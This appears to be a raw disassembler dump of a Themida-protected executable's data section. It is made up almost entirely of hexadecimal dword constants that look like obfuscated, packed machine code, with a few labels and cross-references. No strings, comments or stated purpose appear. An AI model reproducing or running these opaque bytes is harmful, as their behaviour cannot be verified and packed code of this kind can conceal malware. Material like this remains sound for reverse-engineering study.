dd 8DDA8B66h, 718B185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 0AA5D1C9Eh, 0F0367D3Ch
dd 870F1E87h, 6, 85D8D89h, 95890607h, 60718E9h, 24048950h
dd 3CC28160h, 0F0DAF14h, 0FC61F3BFh, 6A006Ah, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 7BCAE1C3h
dd 7B0DAC17h, 664E0A60h, 6A4C0ABBh, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 32EB3B76h
dd 4F99D278h, 60858DC7h, 6A060B5Eh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0AA9FC356h
dd 80AE1BE6h, 5EB7D933h, 8905C083h, 7049585h, 0DFB70F06h
dd 0CE950h, 32F70000h, 0E3498F2Ch, 0C00DDB15h, 4892B03h
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 35A07B4Dh, 0BCB8BBD6h, 0DA8BB2DAh, 0BF66006Ah
dd 0BD8B2AF2h, 60705BDh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 5742C7C3h, 1A59D8Bh
dd 0FF5F0607h, 71E3D95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 17783EDh, 25B58947h, 8D060707h
dd 0A93D58Dh, 3DBD8B06h, 0FF06070Dh, 799529D1h, 83060720h
dd 719BDBDh, 850F0106h, 4Fh, 188D8D89h, 26A0607h, 6C99D8Bh
dd 0E9900607h, 0Ah, 0EAABBA23h, 0F26F6351h, 0BB50B78Ah
dd 77A3FEE6h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 0FF0C9F9Fh, 7079195h, 0D19D8B06h
dd 0E9060729h, 0E99h
dword_582624 dd 0E8h, 0ED815D00h, 60B5E6Ah, 6830Fh, 9D8B0000h, 6072AC1h
; DATA XREF: Themida_:0053CC54o
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 52C35040h
dd 8B665709h, 3F858DDEh, 6A060A84h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0A37BC355h
dd 4F7A44F6h, 8924341Eh, 7227DBDh, 0FB8B9006h, 810F50h
dd 90000000h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 9BC35646h, 0E5C78166h, 35FF645Fh, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0BBC35040h
dd 77AD4AE1h, 2589647Bh, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 9CC35343h
dd 2F5985FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 6542C4C3h, 76DE8A23h, 14E8h, 5EC27100h
dd 0EC553BE8h, 670B1B2h, 1CCDADD8h, 662B4C1Ah, 459D2BB4h
dd 5B060728h, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 0B5FFCAC3h, 60712B5h, 0FE8h, 14460F00h
dd 362F96F9h, 8DD03B2h, 2B001F9Ah, 8995FF5Fh, 0E906072Bh
dd 12Fh, 1831BD8Bh, 0B00607h, 45BD8BF8h, 0E606071Fh, 0A1B58970h
dd 0E406071Dh, 0FAB70F71h, 830F613Ch, 10Bh, 6013C780h
dd 0DE953h, 1F9F0000h, 3CBD633Fh, 0D4DB763Eh, 5BE9FA21h
dd 11E8h, 4CC1B00h, 0F642E7D1h, 56B100E5h, 4ADAE448h, 0B70FFBC8h
dd 0F6158FFh, 0BD09C8B6h, 60729E9h, 6BAh, 31B7BB00h, 0C18B1ACBh
dd 0C1F8BF0Fh, 66F904E8h, 8A0FE2F7h, 6, 0F199529h, 0C82B0607h
dd 0BE8h, 0C1438F00h, 416A08CDh, 3B8311E5h, 8B5FFB8Bh
dd 0DA8B66D1h, 15E9h, 10E900h, 78750000h, 0ED65AC4Fh, 7BB4A270h
dd 2D0B45E9h, 858B8E3Ch, 6070745h, 0FE9h, 0C05FB200h, 0E78AC2A5h
dd 0B24655B5h, 20E33EF3h, 0F07C083h, 0C083FBBFh, 61BD8B00h
dd 3B060718h, 0C830FD0h, 1000000h, 71D95B5h, 3DE906h, 8BF50000h
dd 709D98Dh, 8D858906h, 83060711h, 840F01E1h, 27h, 83A9EF80h
dd 709D9A5h, 0BD8BFE06h, 6072059h, 3718D89h, 95890607h
dd 6070745h, 15199D8Bh, 0E90607h, 8D000000h, 0ADCF3B5h
dd 0CA8ABB06h, 6A3FACh, 4C1BD01h, 95FF0607h, 6070D69h
dd 59823CBBh, 0BE919h, 0EEE00000h, 0F757016h, 0B28925CBh
dd 0A12B98Ch, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 0A9EDD4C3h, 89D128BEh, 718FD85h
dd 68C0F06h, 9000000h, 702819Dh, 0FCE18306h, 6AFCF8h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 0D524ABC3h, 13E9CFA0h, 11000000h, 6817D796h, 0B4DB16DBh
dd 9ED5E272h, 848D94B0h, 0BD8BC0A2h, 6070CBDh, 1FE58D89h
dd 0B80607h, 0F000000h, 0D83h, 0D9816000h, 44859A6Ch, 34E38166h
dd 0D22B61ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 80C35242h, 9E2DE5Eh, 0D23F4847h, 0D1BD8BA6h, 0E906071Ah
dd 13h, 0A3B8E815h, 0F49F975Dh, 14DBB6F9h, 3EA10E7Ch, 8BEE9A81h
dd 0C233ADFEh, 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 880D2DE3h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0AFC2C355h, 0FF26093h
dd 288h, 8BCCB700h, 71AD995h, 14E906h, 3E380000h, 0B5485D5Ah
dd 80893330h, 2B8B5C44h, 0DFEB86F7h, 8D8BC8D1h, 607101Dh
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 0B744E9C3h, 5CFFEC70h, 0BE9F9h, 249C0000h, 0A84B5B4h
dd 0E810B0DAh, 13E9EDh, 0AC5E0000h, 1A50218Ah, 0D0D2F998h
dd 0F9B79314h, 0D61715A7h, 29BD83F5h, 6070Eh, 4C840Fh
dd 0B80000h, 8D000000h, 74B9B8Dh, 319D2306h, 0FF06072Fh
dd 53006AE1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 0EAD682B6h, 0F1ED6DEh, 688h, 11BD8B00h
dd 29060713h, 7209D85h, 0CB816606h, 0BD835B92h, 6073305h
dd 5B840F00h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 0CF9FC357h, 2675C11Bh
dd 5BD83C7h, 1060733h, 447840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0CB8176C3h
dd 21B2B603h, 5E9h, 0C861EB00h, 0BD834FD8h, 6073305h, 0D8860F03h
dd 0E9000003h, 0Bh, 328D82B7h, 1CA8B19Ah, 60ED1127h, 0D98C66F5h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 30C35141h
dd 23B1979Fh, 70D781F6h, 807C4EF3h, 6A04E1h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 531856C3h
dd 0FC221182h, 199D89CFh, 66060728h, 0AD2B8BFh, 32840FC9h
dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 0FDAC353h, 858BD8B7h, 6072A1Dh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 30C35343h
dd 2571688Dh, 8B086BB7h, 714A9BDh, 0FD853306h, 0E906071Ah
dd 5, 0D542D426h, 48950FEh, 52006A24h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 1CB31F83h
dd 82457640h, 0F1BD8950h, 5F060707h, 6A006Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0F980B4C3h
dd 9D8D89AAh, 2906070Dh, 70FD58Dh, 4E806h, 3FF0000h, 890F001Fh
dd 6, 830Fh, 8B500000h, 24448BF9h, 66008B04h, 890088BFh
dd 0E8042444h, 0Dh, 0FFB19B41h, 2A4A4C8Bh, 0D08E3F94h
dd 52525070h, 56310F5Bh, 5B585A5Fh, 52D38158h, 0BB55C536h
dd 73CE5C12h, 9F995FFh, 0BD8B0607h, 607109Dh, 0ADDF8589h
dd 9D8B060Ah, 60721D5h, 1C2E9h, 1D9D2300h, 8906071Ah, 732558Dh
dd 0D7858B06h, 33060AADh, 70C65BDh, 1800C706h, 8B000000h
dd 0AADDBB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 424A74CBh, 66FA74BBh, 8B412FBFh
dd 72BCD85h, 58A0F06h, 66000000h, 4AAEEB81h, 2FD98D89h
dd 6890607h, 1B49BD8Bh, 858B0607h, 6072A1Dh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 64C35040h, 1427A904h
dd 0E9044689h, 13h, 261D9BEDh, 264DD6FFh, 28F1F6Fh, 0EEC8E727h
dd 96EC866Eh, 28B0Fh, 0DF8B0000h, 0DA8B6650h, 6890F96h
dd 3000000h, 7123DBDh, 0D7B5FF06h, 6A060AADh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 0C201C353h, 0DF8B66CEh, 4E8FCh, 3FF0000h, 12E8001Fh
dd 0A3000000h, 0A850FFD0h, 0E8D690B5h, 83C27463h, 680FFCE2h
dd 0F5250E3h, 14E831h, 0DD4F0000h, 0EC4410FCh, 0E5BD6273h
dd 35181885h, 567D1CBEh, 5A5FDB6Ch, 60505F58h, 1DD4BE66h
dd 2820Fh, 61600000h, 24448B61h, 0DABF6604h, 50008B68h
dd 68A0F52h, 0F000000h, 85h, 50310F00h, 0FC9B352h, 0DE8B6631h
dd 585A585Ah, 4244489h, 0FD9D8B58h, 8D060710h, 0AADDF85h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 817C9491h, 5DCA7C7h, 0F539051h, 286h, 5F5B5600h
dd 5B535750h, 8166905Fh, 8BDA0FC3h, 72355BDh, 0F995FF06h
dd 0F060709h, 286h, 61FB8B00h, 2C999D23h, 85C70607h, 6073305h
dd 3, 7E9B589h, 0BD830607h
dd 60AADDFh, 58840F00h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 0BA7FC350h
dd 88535E4Fh, 4DE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 67BC13E1h, 91BD8B16h
dd 0E906072Dh, 7, 286B9709h, 50F600F4h, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E8052BC3h
dd 0Ah, 9E72580Eh, 0C2AECD37h, 81667F85h, 5F431DCFh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 3FC35242h, 83962596h
dd 592AC196h, 0C2816660h, 8D29D8DEh, 60713B9h, 5BD8361h
dd 3060733h, 4A1850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 0B98BBAC3h, 0DC3E627Ah
dd 39BB66B7h, 83FE8B47h, 0AADDFBDh, 840F0006h, 46Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 75C35141h, 7426501Dh
dd 0FCED3927h, 0BE9h, 9A207C00h, 98AEC347h, 5A745B2Dh
dd 26C780FCh, 0ADDFB5FFh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 3B910BC3h, 8B1C1A4Ch
dd 71F91BDh, 3860F06h, 0F000000h, 95FFF8B7h, 6072129h
dd 1AD19D8Bh, 0B58B0607h, 60AADD3h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 0D4C35343h, 0C4FB6B08h, 11E8A41Bh
dd 2C000000h, 0D1F7ACA1h, 3C288310h, 4E8B917Bh, 1F1FBFCDh
dd 30DBD8Bh, 535F0607h, 0E2D78166h, 6C75BC3h, 10001h, 2B6D9D8Bh
dd 50960607h, 0CE852h, 0C5770000h, 9C20AEFBh, 8A86646Eh
dd 6160C3C3h, 5A310F5Bh, 0BB665058h, 8996D7B3h, 70AD5B5h
dd 0DFB5FF06h, 0FF060AADh, 7025195h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0BDE184BAh
dd 53DABFA2h, 0D99D89C4h, 8B060711h, 0AADD3B5h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0A7332619h, 12A1858Bh, 0BB660607h, 0BD093656h, 6070551h
dd 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 0A9C9CC3h, 0B1526E62h, 69E78166h
dd 0D9958B4Dh, 0E906071Ah, 11h, 0FA9DC425h, 5478947Dh
dd 0E79C6712h, 6977DB67h, 4C2832Fh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 15h, 96C35747h, 298D09A9h, 60060712h
dd 8961D88Ah, 81662050h, 8DB80BC3h, 0AC17085h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 0F0B1F8Bh, 48Fh, 68BB6600h, 0E1BD299Ah, 89060722h, 0B886h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 0F9F6CE65h, 6A006Ah, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 341572C3h
dd 2B5804B5h, 70F0DBDh, 0EF816606h, 0B5FF3273h, 60AADDFh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A8C35747h
dd 0DD0458A0h, 73A8AE93h, 0DE85Eh, 0C3D10000h, 0BB0D6C50h
dd 5FD72E09h, 0E9C8575Fh, 10h, 9D4D570Ah, 9ED98809h, 0E2D7FB2Ch
dd 0A3E26888h, 9195FF5Fh, 6A060707h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 3437C350h
dd 5296EAEFh, 5FFE8B66h, 0DE850h, 4B550000h, 0B4972C7Ah
dd 0F2E02A5Eh, 66A08A25h, 5BE2C4BBh, 119D0196h, 8B060733h
dd 70F8DBDh, 0DFB5FF06h, 6A060AADh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 0FFF8C350h
dd 72D0995h, 39BF6606h, 0C1BD83B9h, 60714h, 3F840Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 0DF267DC3h, 850100E2h, 6072051h, 0C236BF96h, 0BB506327h
dd 536A8B4h, 7E996h, 7F850000h, 67CA456Eh, 0DFB5FF44h
dd 0FF060AADh, 71F9595h, 8A1CBB06h, 0BB661C86h, 0B5FF04C8h
dd 60AADDFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 0AC35141h, 6BEF80C9h, 2C195FFh, 8B660607h, 65BD83D9h
dd 2060728h, 8E840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 2730CC3h, 8BF13923h
dd 72A459Dh, 69858B06h, 6A06070Eh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 7106C353h
dd 48CD819Bh, 8E6B8D85h, 2C559D8Bh, 0CF810607h, 20A9D8B2h
dd 6A0000C6h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 0C5B5C351h, 7E21B031h, 68F0Fh
dd 0BD8B0000h, 6070ECDh, 2A5185C7h, 607h, 0E9F90000h, 0FFFFF298h
dd 3C18BFCh
db 9Dh, 0B5h, 5
byte_5834BB db 7 ; DATA XREF: Themida_:0053F524o
dd 0B1858D06h, 89060718h, 7294995h, 5E85006h, 7000000h
dd 934341A0h, 5FFA8B66h, 6A240489h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 8425C353h
dd 6A006A7Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 0EBAEC355h, 11E947h, 6DAF0000h
dd 569CA831h, 0BC5DA64Dh, 6CB2A909h, 6A4DC077h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 78E59EB0h, 40A765Fh, 99D8B07h, 8D060703h, 0B6F2A85h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 0D7D639AEh, 8D958957h, 8306071Eh, 6A05C0h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 62FF12C3h, 8E8D5D1h, 4000000h, 82E4B04Eh, 0F9CFF2Ch
dd 682h, 0C59D8B00h, 5F06070Dh, 66D38166h, 0FE89095h, 35000000h
dd 8EEFD8E8h, 63558000h, 0E999D493h, 8CBBB05Bh, 5B026B7Ah
dd 0BF0F9050h, 0F006ADBh, 0B86h, 58C0F00h, 0BB000000h
dd 5018BF73h, 2B5D9D89h, 6A0607h, 95FFF98Ah, 6071E3Dh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0BAC35646h
dd 83E112D6h, 691B509h, 8D8D0607h, 60A93D5h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 93C35747h, 0D19D8B88h
dd 0FF060729h, 9EA8BBD1h, 9D8B4CCFh, 6071A6Dh, 19BDBD83h
dd 0F010607h, 7485h, 12E800h, 0E5480000h, 4F88EF62h, 924703BCh
dd 7AB77EB7h, 81C01BF0h, 21259D8Bh, 6A5F0607h, 6E95002h
dd 67000000h, 5D96E7E5h, 2404892Ch, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 2C35242h, 4D287ABFh, 10E938h
dd 6B9C0000h, 1F19F47Fh, 2A493489h, 9BAF1A11h, 0BD8B82D7h
dd 60702BDh, 79195FFh, 8B660607h, 0C87E9D8h
db 2 dup(0)
word_5836EE dw 0E8h ; DATA XREF: Themida_:0053EE20o
dd 5D000000h, 6F34ED81h, 0BF66060Bh, 8589182Ch, 6072661h
dd 843F858Dh, 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 0D95206C3h, 90F523A0h, 50DE8B66h
dd 90D98B66h, 0D380DE8Ah, 35FF6490h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0ABC35040h
dd 0A84A3ABEh, 258964h, 0E9000000h, 0Ch, 0D341107Fh, 624605CAh
dd 7C659512h, 2F5985FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 9D8928C3h, 60711F5h
dd 8D09FF6Ah, 6070EC5h, 1171B5FFh, 9D330607h, 60719FDh
dd 2B8995FFh, 11E90607h, 0B7000001h, 8B00B06Eh, 710F99Dh
dd 0BF70E606h, 3F19D57h, 0BD8B71E4h, 6070761h, 830F613Ch
dd 0F0h, 0FF88B66h, 0BF66C8B6h, 6BA6CEAh, 89000000h, 70CCD85h
dd 60C18B06h, 2D459D8Bh, 0FE80607h, 0BE000000h, 3F14CC0Bh
dd 4D19E20Eh, 6E939D1Fh, 880F5611h, 0
dd 0E8C1615Fh, 5820F04h, 0BF000000h, 5E8107BFh, 66E2F766h
dd 2BD0C0BFh, 79B589C8h, 8B06070Ch, 70A699Dh, 33D18B06h
dd 726599Dh, 0CE906h, 880F0000h, 6, 284D9D8Bh, 858B0607h
dd 60703C5h, 0BE9h, 546E8C00h, 1CEEC6F8h, 92DA1C8Dh, 5499529h
dd 0C0830607h, 8DE38007h, 900C083h, 701F98Dh, 0FD03B06h
dd 0A83h, 42E900h, 81660000h, 8BB693D7h, 70C418Dh, 0F5BD3106h
dd 83060718h, 840F01E1h, 28h, 1C49E781h, 0A58308ACh, 6070C41h
dd 950B60FEh, 6072B25h, 61F9BF0Fh, 3C59589h, 81660607h
dd 0E9CB13EBh, 0
dd 0E8CAB58Dh, 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 495B50C3h, 6810F60h, 0F000000h
dd 8Eh, 2D8D8900h, 61060705h, 95FF006Ah, 6070D69h, 2EFDC381h
dd 7B91C09h, 6A000008h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 0DF29C352h, 24CFDFBFh
dd 0FCE18370h, 0FC3BF780h, 0B8FA8B66h, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B3C35141h
dd 5E13C8Eh, 131E94EBh, 81BD8BD3h, 8B060706h, 719459Dh
dd 0BA06h, 0BD8B0000h, 6072D35h, 3860Fh, 0C3800000h, 0C233AD1Eh
dd 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 5B9C1B5Ch
dd 897BCBA5h, 722518Dh, 9D78106h, 6A356692h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 1485C357h, 1EEBF7F6h, 0EEB9D738h, 46DAF381h, 880D4A92h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 0E211C353h, 1B9D17B2h, 0FB8B66FFh
dd 1AD9958Bh, 65B30607h, 8BFE8B66h, 7101D8Dh, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 50768216h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 0E511EF21h, 9D6ACCE1h, 0BD89D88Bh, 607292Dh
dd 0E29BD83h, 0F000607h, 1E84h, 4C16BB00h, 0B823F7h, 81000000h
dd 99A46CC7h, 9B8D8D4Bh, 8B06074Bh, 7222D9Dh, 83E1FF06h
dd 73305BDh, 840F0006h, 3A2h, 831B501h, 0BD830607h, 6073305h
dd 0AA840F01h, 89000003h, 722398Dh, 5BD8306h, 3060733h
dd 361860Fh, 0BD8B0000h, 6071265h, 0C3BB6660h, 0BDBD8BA9h
dd 6606072Ah, 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 6E8D06C3h, 95387EBh, 72D8DBDh, 10E906h
dd 0A23D0000h, 0B7418C3Fh, 160A18E7h, 8F3DE6F4h, 6E98D30h
dd 0B5000000h, 5BEF0B0Fh, 4E1808Eh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 6BC35545h, 299D8B72h, 6606072Ch
dd 6BA2F381h, 840FC90Ah, 0F1h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 55C35545h, 1D858BF8h, 0E906072Ah
dd 10h, 0DA0F1E18h, 0B9DD3A83h, 52D90494h, 0A2DA8C02h
dd 0C8C0Fh, 7E90000h, 0AC000000h, 570C5FCEh, 8533F7EFh
dd 6071AFDh, 10B9B589h, 0BF500607h, 2BDFF8E6h, 8B240489h
dd 7048D9Dh, 0BF006A06h, 786AA17Bh, 4C3CB268h, 81DA8B59h
dd 3F4D2434h, 0BB665953h, 0BD2B7C6Ah, 6070835h, 9F995FFh
dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 0DEDE62C3h, 66ACFA62h, 8501F2B7h, 60712C1h
dd 0ADDF8589h, 9D01060Ah, 6072C5Dh, 1B3E9h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 9B242116h, 6E981B7h, 0F8000000h, 4533ACFDh, 0D7858BFDh
dd 0E9060AADh, 0Bh, 0A55DF92Dh, 4A14B95Dh, 0C73A2E62h
dd 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1904h, 0C3554500h, 0DB5D7F4Ah, 0BD89C9F5h, 607206Dh
dd 0ADDBB58Bh, 0F60060Ah, 0FC52FABFh, 858B615Eh, 6072BCDh
dd 6A0689F5h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 8BE2C352h, 71E29BDh, 6E906h, 3F4F0000h
dd 904B9B53h, 2A1D858Bh, 0B70F0607h, 44689D9h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6CC35545h, 62C8BB46h
dd 80A1E834h, 0E950B1D3h, 0Ch, 3EA26276h, 168FD1Ch, 86A21A52h
dd 6A243489h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 0A0DCC350h, 0B5FF1BCCh, 60AADD7h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EFC35242h
dd 0E05416AAh, 0E0CE3468h, 81DF8B83h, 35CB2404h, 0B5897C3Eh
dd 60710FDh, 0ADDF858Dh, 6A060Ah, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 0A3A4A8C3h, 0D0F10B29h
dd 5092C93Dh, 0C434BB66h, 8B240489h, 70FCDBDh, 0F995FF06h
dd 6A060709h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 0CE80C350h, 0E1DBBB66h, 1D9D8B61h
dd 0C7060729h, 7330585h, 306h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 2D03C2F4h
dd 0B14E6724h, 1FBF6634h, 0DFBD8361h, 60AADh, 15840Fh
dd 0F510000h, 0E95FFEBFh, 26h, 22E59501h, 0ACBB0607h, 50783A6Ah
dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h
dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 0B320ABC3h, 7E9A314Fh, 0BE86051h, 67000000h
dd 1BEA1530h, 0DA0BDC52h, 0F5B9D57h, 89h, 6A5F6100h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 8F16C350h, 0BD83DE8Bh, 6073305h, 26850F03h, 0BB000004h
dd 1A6B417Bh, 0ADDFBD83h, 0F00060Ah, 41484h, 0DFB5FF00h
dd 0E9060AADh, 10h, 62A5A04Bh, 20EE422Fh, 0F71171DCh, 0F48C641Ch
dd 212995FFh, 0F9600607h, 209D9D8Bh, 8B610607h, 0AADD3B5h
dd 89858906h, 0C7060701h, 1000106h, 68F0F00h, 81000000h
dd 0EFDDADC7h, 0FE8B9673h, 96D98B50h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 5EC35646h, 0D1B38166h, 0ADDFB5FFh
dd 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 2AEBD3C3h, 0FFF563EBh, 7025195h, 68E0F06h
dd 89000000h, 72161B5h, 0D3B58B06h, 8B060AADh, 712A185h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 9D9E585Ah, 0BDE20A1Ch, 9D89D465h, 60720A5h
dd 0E3EF8166h, 0C48689F2h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 2636C357h
dd 8E3E682h, 0EF816AD0h, 67EF271Ah, 1AD9958Bh, 6A0607h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 42106AC3h, 6DB529B9h, 8306071Fh, 13E804C2h, 26000000h
dd 2E599ACAh, 0CA7C70A7h, 597D3108h, 635C1C8Fh, 9D8B4B48h
dd 60710A5h, 0B589605Bh, 6071F35h, 8B27B560h, 727F5BDh
dd 89616106h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 9A6C2C3h, 72D1185h, 70858D06h, 6A060AC1h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
